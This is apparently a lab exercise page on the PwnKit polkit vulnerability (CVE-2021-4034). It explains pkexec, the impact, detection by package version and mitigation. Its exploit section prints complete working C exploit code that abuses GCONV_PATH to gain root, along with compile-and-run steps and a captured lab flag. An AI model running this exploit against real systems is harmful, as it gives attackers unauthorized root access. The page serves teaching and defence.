Polkit

Exercise CVE-2021-4034 PwnKit

1. Introduction

PwnKit is a local privilege escalation vulnerability in polkit's pkexec, a SUID-root program that is installed by default on every major Linux distribution. In this module, you will learn how this vulnerability works, attempt to exploit a vulnerable machine and see how to detect and mitigate the issue in your own infrastructure.

  • CVSS Base Score: 7.8

  • CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Before diving deeper into the vulnerability, it is necessary to understand what polkit is used for — that is, managing authentication.

According to the manual:

polkit provides an authorization API intended to be used by privileged programs ("MECHANISMS") offering service to unprivileged programs ("SUBJECTS") often through some form of inter-process communication mechanism. In this scenario, the mechanism typically treats the subject as untrusted. For every request from a subject, the mechanism needs to determine if the request is authorized or if it should refuse to service the subject. Using the polkit APIs, a mechanism can offload this decision to a trusted party: The polkit authority.

In other words, it is a central system that determines which privileges a given process can access. If a user wants to update a specific package, the package manager can check with the polkit daemon if this specific action may be performed, preventing the user from installing any other packages.

The polkit package, which is installed on every major Linux distribution by default, comes with the pkexec utility. It is used for executing commands as another user. Without specifying a username, the pkexec command allows an authorized user to execute commands as root. It is similar to sudo but prompts a graphical authentication dialog.

The /usr/bin/pkexec binary has root SUID file permissions, meaning anyone can execute it as root. Consequently, code execution vulnerabilities can lead to privilege escalation.

2. Impact

Privilege escalation allows a low-level user (e.g, a guest user) to gain access to the privileges of a high-level user (e.g, an administrator). Different levels of privileges are often used to minimize the impact of a service getting compromised but privilege escalation can lead to the entire system being compromised.

Again, polkit is installed on every major Linux distribution by default. The vulnerability has existed since May 2009 (when the program was created) and it is exploitable even if the polkit daemon is not running. Examples of vulnerable systems include Ubuntu, Debian, Fedora, and CentOS. Note that OpenBSD is not vulnerable as it does not allow the execution of programs with an empty arguments array.

3. Exploit

Take a look at the cve-2021-4034.c file that has already been downloaded for you and placed into the /home/student directory.

Coming back to the embedded source code for the shared object, you should see that the actual payload for the exploit is /usr/bin/whoami. This is good for demonstration purposes but should be replaced with something better for actual impact.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>

void fatal(char *f) {
    perror(f);
    exit(-1);
}

void compile_so() {
    FILE *f = fopen("payload.c", "wb");
    if (f == NULL) {
        fatal("fopen");
    }

    char so_code[]=
        "#include <stdio.h>\n"
        "#include <stdlib.h>\n"
        "#include <unistd.h>\n"
        "void gconv() {\n"
        "  return;\n"
        "}\n"
        "void gconv_init() {\n"
        "  setuid(0); seteuid(0); setgid(0); setegid(0);\n"
        "  static char *a_argv[] = { \"whoami\", NULL };\n"
        "  static char *a_envp[] = { \"PATH=/bin:/usr/bin:/sbin\", NULL };\n"
        "  execve(\"/usr/bin/bash\", a_argv, a_envp);\n"
        "  exit(0);\n"
        "}\n";

    fwrite(so_code, strlen(so_code), 1, f);
    fclose(f);

    system("gcc -o payload.so -shared -fPIC payload.c");
}

int main(int argc, char *argv[]) {
    struct stat st;

    compile_so();

    if (stat("evildir", &st) < 0) {
        if(mkdir("evildir", 0777) < 0) {
            fatal("mkdir");
        }
        FILE *fp = fopen("evildir/gconv-modules", "wb");
        if(fp == NULL) {
            fatal("fopen");
        }
        fprintf(fp, "module  UTF-8//    INTERNAL    ../payload    2\n");
        fclose(fp);
    }

    if (stat("GCONV_PATH=.", &st) < 0) {
        if(mkdir("GCONV_PATH=.", 0777) < 0) {
            fatal("mkdir");
        }
        int fd = open("GCONV_PATH=./evildir", O_CREAT|O_RDWR, 0777);
        if (fd < 0) {
            fatal("open");
        }
        close(fd);
    }

    char *a_argv[]={ NULL };
    char *a_envp[]={
        "evildir",
        "PATH=GCONV_PATH=.",
        "LC_MESSAGES=en_US.UTF-8",
        "XAUTHORITY=../LOL",
        NULL
    };

    execve("/usr/bin/pkexec", a_argv, a_envp);
}
  • Edit the /home/student/cve-2021-4034.c file to run bash.

3.1 Compile Exploit

Compile the exploit gcc /home/student/cve-2021-4034.c -o /home/student/exploit

3.2 Run the exploit and get the flag

./exploit

flag is located in /root/flag.txt

Flag: 436092ff56d6e1733d807872164b4471

4. Detection

You can detect whether or not a system is vulnerable to PwnKit by getting the installed version of PolicyKit. One way to do this is with apt-cache policy .

You can find information about vulnerable and patched versions of the software from your distribution's package tracker. For example, the software patch for Ubuntu focal is 0.105-26ubuntu1.2, while the patch for Debian stretch it is 0.105-18+deb9u2. Any versions below are vulnerable to PwnKit.

apt-cache policy policykit-1

5. Mitigation

Keeping your system up to date prevents a lot of vulnerabilities. Fortunately, a patch for this vulnerability should already be available for most Linux distributions. On Ubuntu, upgrading all packages can be completed by running sudo apt update && sudo apt upgrade.

If updating polkit is not an option, a hotfix can be applied, which mitigates the vulnerability. Removing the SUID flag prevents a regular user from running pkexec as root. This can be done with chmod:

sudo chmod 0755

Keep in mind that this fix is far from ideal as it breaks the functionality of pkexec. While the polkit service is not itself affected, any applications relying on pkexec will be.

Last updated